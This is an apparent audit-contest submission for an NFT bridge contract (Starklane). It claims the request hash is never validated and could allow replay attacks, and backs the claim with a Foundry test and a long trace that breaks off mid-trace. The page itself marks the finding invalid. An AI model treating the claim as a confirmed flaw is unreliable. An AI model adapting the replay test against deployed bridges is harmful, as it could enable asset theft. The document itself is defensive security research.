NFTBridge
60,000 USDC
View results
Submission Details
Severity: low
Invalid

Missing Request Hash Validation Leading to Potential Replay Attacks

Summary

In the protocol, req.hash is used as a signature for transactions, as can be noticed in the Bridge.sol smart contract, which is intended to ensure the uniqueness and integrity of each request. However, despite its presence, the req.hash is never actually used or validated within the protocol.

This oversight can lead to potential replay attacks, where malicious actors could exploit the system by resubmitting requests with the same req.hash. This issue is compounded by the lack of checks and safeguards for previously processed requests.

A comment in the Bridge.sol contract highlights the concern:

Bridge.sol#L111-L113

// TODO: store request hash in storage to avoid replay attack.
// or can it be safe to use block timestamp? Not sure as
// several tx may have the exact same block.

Vulnerability Details

The vulnerability arises from the fact that req.hash in the Bridge.sol contract, which is intended to be a unique identifier for each request, is not used to prevent replay or duplication of requests.

In the contract, req.hash is generated using the Protocol::requestHash function:

Bridge.sol#L110

req.hash = Protocol.requestHash(salt, collectionL1, ownerL2, ids);

However, this hash lacks proper implementation, as is not checked for uniqueness or replay attacks. Instead, it is primarily used for logging purposes. For instance, in the Starklane::withdrawTokens function, req.hash is passed to _deployERC721Bridgeable:

Bridge.sol#L184-L195

if (ctype == CollectionType.ERC721) {
@> collectionL1 = _deployERC721Bridgeable(
req.name,
req.symbol,
req.collectionL2,
@> req.hash
);
// update whitelist if needed
_whiteListCollection(collectionL1, true);
} else {
revert NotSupportedYetError();
}

Similarly, in CollectionManager.sol, the hash value is used for only logging in _deployERC721Bridgeable:

CollectionManager.sol#L49-L70

function _deployERC721Bridgeable(
string memory name,
string memory symbol,
snaddress collectionL2,
@> uint256 reqHash
)
internal
returns (address)
{
address proxy = Deployer.deployERC721Bridgeable(name, symbol);
_l1ToL2Addresses[proxy] = collectionL2;
_l2ToL1Addresses[collectionL2] = proxy;
emit CollectionDeployedFromL2(
@> reqHash,
block.timestamp,
proxy,
snaddress.unwrap(collectionL2)
);
return proxy;
}

Despite being generated and logged, req.hash is not validated to prevent replay or duplication of requests.

To demonstrate how multiple transactions can be executed using the same signature, add the following test to the Bridge.t.sol test suite.

function test_signatureReuse() public {
// Add mapping L1 <-> L2: erc721C1 <-> 0x123
IStarklane(bridge).setL1L2CollectionMapping(
address(erc721C1),
Cairo.snaddressWrap(0x123),
true
);
// alice mints ERC721 tokens
uint256[] memory ids = new uint256[](2);
ids[0] = 0;
ids[1] = 9;
IERC721MintRangeFree(erc721C1).mintRangeFree(alice, 0, 10);
// Verify that the initial owner for the tokens is alice
assertEq(IERC721(erc721C1).ownerOf(0), alice);
assertEq(IERC721(erc721C1).ownerOf(9), alice);
// alice deposits the ERC721 tokens
uint256 salt = 0x1;
snaddress to = Cairo.snaddressWrap(0x1);
vm.startPrank(alice);
IERC721(erc721C1).setApprovalForAll(bridge, true);
vm.recordLogs();
IStarklane(bridge).depositTokens{value: 30000}(
salt,
address(erc721C1),
to,
ids,
false
);
Vm.Log[] memory entries = vm.getRecordedLogs();
vm.stopPrank();
// retrieve req.hash
assertEq(entries.length, 4);
Vm.Log memory logMessageToL2 = entries[2];
(uint256[] memory payload, , ) = abi.decode(
logMessageToL2.data,
(uint256[], uint256, uint256)
);
Request memory req = Protocol.requestDeserialize(payload, 0);
// bob mints ERC721 tokens
uint256[] memory ids2 = new uint256[](2);
ids2[0] = 11;
ids2[1] = 12;
IERC721MintRangeFree(erc721C1).mintRangeFree(bob, 11, 20);
// Verify that the initial owner for the tokens is bob
assertEq(IERC721(erc721C1).ownerOf(11), bob);
assertEq(IERC721(erc721C1).ownerOf(12), bob);
// bob deposits the ERC721 tokens
vm.startPrank(bob);
IERC721(erc721C1).setApprovalForAll(bridge, true);
IStarklane(bridge).depositTokens{value: 30000}(
salt,
address(erc721C1),
to,
ids2,
false
);
vm.stopPrank();
// bob withdraws the ERC721 tokens using the same signature
// Build the request and compute it's "would be" message hash.
felt252 header = Protocol.requestHeaderV1(
CollectionType.ERC721,
false,
false
);
for (uint256 i = 0; i < ids2.length; i++) {
uint256[] memory id = new uint256[](1);
id[0] = ids2[i];
Request memory req_withdraw = Request({
header: header,
hash: req.hash, // <@ same alice's signature used for every transaction
collectionL1: address(erc721C1),
collectionL2: Cairo.snaddressWrap(0x123),
ownerL1: bob,
ownerL2: Cairo.snaddressWrap(0x789),
name: "",
symbol: "",
uri: "ABCD",
tokenIds: id,
tokenValues: new uint256[](0),
tokenURIs: new string[](0),
newOwners: new uint256[](0)
});
uint256[] memory reqSerialized = Protocol.requestSerialize(
req_withdraw
);
bytes32 msgHash = computeMessageHashFromL2(reqSerialized);
// The message must be simulated to come from starknet verifier contract
// on L1 and pushed to starknet core.
uint256[] memory hashes = new uint256[](1);
hashes[0] = uint256(msgHash);
IStarknetMessagingLocal(snCore).addMessageHashesFromL2(hashes);
IStarklane(bridge).withdrawTokens(reqSerialized);
}
// Check if the ERC 721 tokens are withdrawn successfully
assertEq(IERC721(erc721C1).ownerOf(11), bob);
assertEq(IERC721(erc721C1).ownerOf(12), bob);
}

As you can see from its execution, the transaction were successful, despite sharing the same signatures.

Ran 1 test for test/Bridge.t.sol:BridgeTest
[PASS] test_signatureReuse() (gas: 1222232)
Traces:
[1222232] BridgeTest::test_signatureReuse()
├─ [53879] ERC1967Proxy::setL1L2CollectionMapping(ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 291, true)
│ ├─ [48975] Starklane::setL1L2CollectionMapping(ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 291, true) [delegatecall]
│ │ ├─ emit L1L2CollectionMappingUpdated(colllectionL1: ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], collectionL2: 291)
│ │ └─ ← ()
│ └─ ← ()
├─ [297367] ERC721MintFree::mintRangeFree(0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, 0, 10)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 0)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 1)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 2)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 3)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 4)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 5)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 6)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 7)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 8)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 9)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, tokenId: 10)
│ └─ ← ()
├─ [602] ERC721MintFree::ownerOf(0) [staticcall]
│ └─ ← 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7
├─ [602] ERC721MintFree::ownerOf(9) [staticcall]
│ └─ ← 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7
├─ [0] VM::startPrank(0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7)
│ └─ ← ()
├─ [24650] ERC721MintFree::setApprovalForAll(ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], true)
│ ├─ emit ApprovalForAll(account: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, operator: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], approved: true)
│ └─ ← ()
├─ [0] VM::recordLogs()
│ └─ ← ()
├─ [213916] ERC1967Proxy::depositTokens{value: 30000}(1, ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 1, [0, 9], false)
│ ├─ [213482] Starklane::depositTokens{value: 30000}(1, ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 1, [0, 9], false) [delegatecall]
│ │ ├─ [534] ERC721MintFree::supportsInterface(0x01ffc9a700000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [534] ERC721MintFree::supportsInterface(0xffffffff00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← false
│ │ ├─ [458] ERC721MintFree::supportsInterface(0x80ac58cd00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [534] ERC721MintFree::supportsInterface(0x01ffc9a700000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [534] ERC721MintFree::supportsInterface(0xffffffff00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← false
│ │ ├─ [496] ERC721MintFree::supportsInterface(0x5b5e139f00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [214] ERC721MintFree::_baseUri() [staticcall]
│ │ │ └─ ← EvmError: Revert
│ │ ├─ [192] ERC721MintFree::baseUri() [staticcall]
│ │ │ └─ ← EvmError: Revert
│ │ ├─ [925] ERC721MintFree::tokenURI(0) [staticcall]
│ │ │ └─ ← ""
│ │ ├─ [925] ERC721MintFree::tokenURI(9) [staticcall]
│ │ │ └─ ← ""
│ │ ├─ [3285] ERC721MintFree::name() [staticcall]
│ │ │ └─ ← "name 1"
│ │ ├─ [3284] ERC721MintFree::symbol() [staticcall]
│ │ │ └─ ← "S1"
│ │ ├─ [28794] ERC721MintFree::transferFrom(0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], 0)
│ │ │ ├─ emit Transfer(from: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, to: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], tokenId: 0)
│ │ │ └─ ← ()
│ │ ├─ [6894] ERC721MintFree::transferFrom(0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], 9)
│ │ │ ├─ emit Transfer(from: 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7, to: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], tokenId: 9)
│ │ │ └─ ← ()
│ │ ├─ [58259] StarknetMessagingLocal::sendMessageToL2{value: 30000}(1, 2, [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 884601108998247062727812365178754106561321340343 [8.846e47], 1, 0, 121364726226993 [1.213e14], 6, 0, 21297 [2.129e4], 2, 0, 0, 0, 2, 0, 0, 9, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0])
│ │ │ ├─ emit LogMessageToL2(fromAddress: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], toAddress: 1, selector: 2, payload: [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 884601108998247062727812365178754106561321340343 [8.846e47], 1, 0, 121364726226993 [1.213e14], 6, 0, 21297 [2.129e4], 2, 0, 0, 0, 2, 0, 0, 9, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0], nonce: 0, fee: 30000 [3e4])
│ │ │ └─ ← 0x5d7c9cfdf8e0e71f6f3930a7a92a666cb47c8999850aa736141b02bac5eb599f, 0
│ │ ├─ emit DepositRequestInitiated(hash: 13298499832182918516759644955324998285702092299788055518059161765071918283490 [1.329e76], block_timestamp: 1, reqContent: [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 884601108998247062727812365178754106561321340343 [8.846e47], 1, 0, 121364726226993 [1.213e14], 6, 0, 21297 [2.129e4], 2, 0, 0, 0, 2, 0, 0, 9, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0])
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::getRecordedLogs()
│ └─ ← [([0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000009af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7, 0x0000000000000000000000000f8458e544c9d4c7c25a881240727209caae20b8, 0x0000000000000000000000000000000000000000000000000000000000000000], 0x, 0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63), ([0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000009af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7, 0x0000000000000000000000000f8458e544c9d4c7c25a881240727209caae20b8, 0x0000000000000000000000000000000000000000000000000000000000000009], 0x, 0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63), ([0xdb80dd488acf86d17c747445b0eabb5d57c541d3bd7b6b87af987858e5066b2b, 0x0000000000000000000000000f8458e544c9d4c7c25a881240727209caae20b8, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000002], 0x000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007530000000000000000000000000000000000000000000000000000000000000001e000000000000000000000000000000000000000000000000000000000000010100000000000000000000000000000000f0679860158013fe51b19b5a538d3ae2000000000000000000000000000000001d66af25b977dd1a86b9c2894f8757560000000000000000000000002a9e8fa175f45b235efddd97d2727741ef4eee6300000000000000000000000000000000000000000000000000000000000001230000000000000000000000009af2e2b7e57c1cd7c68c5c3796d8ea67e0018db70000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006e616d652031000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005331000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 0x72384992222BE015DE0146a6D7E5dA0E19d2Ba49), ([0x4ecaf4a99ef1a36d5c1967133fb3f251e98f89361d2b43ee590c283171051b8c, 0x1d66af25b977dd1a86b9c2894f875756f0679860158013fe51b19b5a538d3ae2], 0x00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000001e000000000000000000000000000000000000000000000000000000000000010100000000000000000000000000000000f0679860158013fe51b19b5a538d3ae2000000000000000000000000000000001d66af25b977dd1a86b9c2894f8757560000000000000000000000002a9e8fa175f45b235efddd97d2727741ef4eee6300000000000000000000000000000000000000000000000000000000000001230000000000000000000000009af2e2b7e57c1cd7c68c5c3796d8ea67e0018db70000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006e616d652031000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005331000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 0x0F8458E544c9D4C7C25A881240727209caae20B8)]
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [272367] ERC721MintFree::mintRangeFree(0x2f66c75A001Ba71ccb135934F48d844b46454543, 11, 20)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x2f66c75A001Ba71ccb135934F48d844b46454543, tokenId: 11)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x2f66c75A001Ba71ccb135934F48d844b46454543, tokenId: 12)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x2f66c75A001Ba71ccb135934F48d844b46454543, tokenId: 13)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x2f66c75A001Ba71ccb135934F48d844b46454543, tokenId: 14)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x2f66c75A001Ba71ccb135934F48d844b46454543, tokenId: 15)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x2f66c75A001Ba71ccb135934F48d844b46454543, tokenId: 16)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x2f66c75A001Ba71ccb135934F48d844b46454543, tokenId: 17)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x2f66c75A001Ba71ccb135934F48d844b46454543, tokenId: 18)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x2f66c75A001Ba71ccb135934F48d844b46454543, tokenId: 19)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x2f66c75A001Ba71ccb135934F48d844b46454543, tokenId: 20)
│ └─ ← ()
├─ [602] ERC721MintFree::ownerOf(11) [staticcall]
│ └─ ← 0x2f66c75A001Ba71ccb135934F48d844b46454543
├─ [602] ERC721MintFree::ownerOf(12) [staticcall]
│ └─ ← 0x2f66c75A001Ba71ccb135934F48d844b46454543
├─ [0] VM::startPrank(0x2f66c75A001Ba71ccb135934F48d844b46454543)
│ └─ ← ()
├─ [24650] ERC721MintFree::setApprovalForAll(ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], true)
│ ├─ emit ApprovalForAll(account: 0x2f66c75A001Ba71ccb135934F48d844b46454543, operator: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], approved: true)
│ └─ ← ()
├─ [155616] ERC1967Proxy::depositTokens{value: 30000}(1, ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 1, [11, 12], false)
│ ├─ [155182] Starklane::depositTokens{value: 30000}(1, ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 1, [11, 12], false) [delegatecall]
│ │ ├─ [534] ERC721MintFree::supportsInterface(0x01ffc9a700000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [534] ERC721MintFree::supportsInterface(0xffffffff00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← false
│ │ ├─ [458] ERC721MintFree::supportsInterface(0x80ac58cd00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [534] ERC721MintFree::supportsInterface(0x01ffc9a700000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [534] ERC721MintFree::supportsInterface(0xffffffff00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← false
│ │ ├─ [496] ERC721MintFree::supportsInterface(0x5b5e139f00000000000000000000000000000000000000000000000000000000) [staticcall]
│ │ │ └─ ← true
│ │ ├─ [214] ERC721MintFree::_baseUri() [staticcall]
│ │ │ └─ ← EvmError: Revert
│ │ ├─ [192] ERC721MintFree::baseUri() [staticcall]
│ │ │ └─ ← EvmError: Revert
│ │ ├─ [925] ERC721MintFree::tokenURI(11) [staticcall]
│ │ │ └─ ← ""
│ │ ├─ [925] ERC721MintFree::tokenURI(12) [staticcall]
│ │ │ └─ ← ""
│ │ ├─ [1285] ERC721MintFree::name() [staticcall]
│ │ │ └─ ← "name 1"
│ │ ├─ [1284] ERC721MintFree::symbol() [staticcall]
│ │ │ └─ ← "S1"
│ │ ├─ [6894] ERC721MintFree::transferFrom(0x2f66c75A001Ba71ccb135934F48d844b46454543, ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], 11)
│ │ │ ├─ emit Transfer(from: 0x2f66c75A001Ba71ccb135934F48d844b46454543, to: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], tokenId: 11)
│ │ │ └─ ← ()
│ │ ├─ [6894] ERC721MintFree::transferFrom(0x2f66c75A001Ba71ccb135934F48d844b46454543, ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], 12)
│ │ │ ├─ emit Transfer(from: 0x2f66c75A001Ba71ccb135934F48d844b46454543, to: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], tokenId: 12)
│ │ │ └─ ← ()
│ │ ├─ [36359] StarknetMessagingLocal::sendMessageToL2{value: 30000}(1, 2, [257, 300491649264833875154323525732374395095 [3.004e38], 302021340991471656422025471795757019541 [3.02e38], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1, 0, 121364726226993 [1.213e14], 6, 0, 21297 [2.129e4], 2, 0, 0, 0, 2, 11, 0, 12, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0])
│ │ │ ├─ emit LogMessageToL2(fromAddress: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], toAddress: 1, selector: 2, payload: [257, 300491649264833875154323525732374395095 [3.004e38], 302021340991471656422025471795757019541 [3.02e38], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1, 0, 121364726226993 [1.213e14], 6, 0, 21297 [2.129e4], 2, 0, 0, 0, 2, 11, 0, 12, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0], nonce: 1, fee: 30000 [3e4])
│ │ │ └─ ← 0xa50f9e2baa8b652e5a3bb6ce1e2e9284437ec9a26bc3f54ba405fc7e85635b2b, 1
│ │ ├─ emit DepositRequestInitiated(hash: 102772536773213830775059745746230068080880019132818506837585099769507186456791 [1.027e77], block_timestamp: 1, reqContent: [257, 300491649264833875154323525732374395095 [3.004e38], 302021340991471656422025471795757019541 [3.02e38], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1, 0, 121364726226993 [1.213e14], 6, 0, 21297 [2.129e4], 2, 0, 0, 0, 2, 11, 0, 12, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0])
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [894] ERC1967Proxy::l2Info()
│ ├─ [496] Starklane::l2Info() [delegatecall]
│ │ └─ ← 1, 2
│ └─ ← 1, 2
├─ [25236] StarknetMessagingLocal::addMessageHashesFromL2([29526892032564632998808547508822631550616906493357875519199206795667007894613 [2.952e76]])
│ ├─ emit MessageHashesAddedFromL2(hashes: [29526892032564632998808547508822631550616906493357875519199206795667007894613 [2.952e76]])
│ └─ ← ()
├─ [43971] ERC1967Proxy::withdrawTokens([257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1929, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 1, 11, 0, 0, 0, 0])
│ ├─ [43437] Starklane::withdrawTokens([257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1929, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 1, 11, 0, 0, 0, 0]) [delegatecall]
│ │ ├─ [10827] StarknetMessagingLocal::consumeMessageFromL2(1, [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1929, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 1, 11, 0, 0, 0, 0])
│ │ │ ├─ emit ConsumedMessageToL1(fromAddress: 1, toAddress: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], payload: [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1929, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 1, 11, 0, 0, 0, 0])
│ │ │ └─ ← 0x4147a0ef60f3e515d6a5b84bd6384a8d0036d45a361bc8243820f583c9347455
│ │ ├─ [4976] ERC721MintFree::safeTransferFrom(ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], 0x2f66c75A001Ba71ccb135934F48d844b46454543, 11)
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], to: 0x2f66c75A001Ba71ccb135934F48d844b46454543, tokenId: 11)
│ │ │ └─ ← ()
│ │ ├─ emit WithdrawRequestCompleted(hash: 13298499832182918516759644955324998285702092299788055518059161765071918283490 [1.329e76], block_timestamp: 1, reqContent: [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1929, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 1, 11, 0, 0, 0, 0])
│ │ └─ ← ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63]
│ └─ ← ERC721MintFree: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63]
├─ [894] ERC1967Proxy::l2Info()
│ ├─ [496] Starklane::l2Info() [delegatecall]
│ │ └─ ← 1, 2
│ └─ ← 1, 2
├─ [25236] StarknetMessagingLocal::addMessageHashesFromL2([115642965367920709148713610615982934191140220895067454554313547707087369155655 [1.156e77]])
│ ├─ emit MessageHashesAddedFromL2(hashes: [115642965367920709148713610615982934191140220895067454554313547707087369155655 [1.156e77]])
│ └─ ← ()
├─ [43971] ERC1967Proxy::withdrawTokens([257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1929, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 1, 12, 0, 0, 0, 0])
│ ├─ [43437] Starklane::withdrawTokens([257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1929, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 1, 12, 0, 0, 0, 0]) [delegatecall]
│ │ ├─ [10827] StarknetMessagingLocal::consumeMessageFromL2(1, [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1929, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 1, 12, 0, 0, 0, 0])
│ │ │ ├─ emit ConsumedMessageToL1(fromAddress: 1, toAddress: ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], payload: [257, 319552616103626275293414929774876113634 [3.195e38], 39080778567855397924224240164501149526 [3.908e37], 243313642115106858902493542147085865830094663267 [2.433e47], 291, 270614608209427605831760443806138747096131781955 [2.706e47], 1929, 0, 0, 0, 0, 0, 0, 0, 1094861636 [1.094e9], 4, 1, 12, 0, 0, 0, 0])
│ │ │ └─ ← 0xffab995043a533eff48aa39c8ebdb391638b2a6cb843fa4ab50766b71d1e3447
│ │ ├─ [4976] ERC721MintFree::safeTransferFrom(ERC1967Proxy: [0x0F8458E544c9D4C7C25A881240727209caae20B8], 0x2f66c75A001Ba71ccb135934F48d844b46454543, 12)
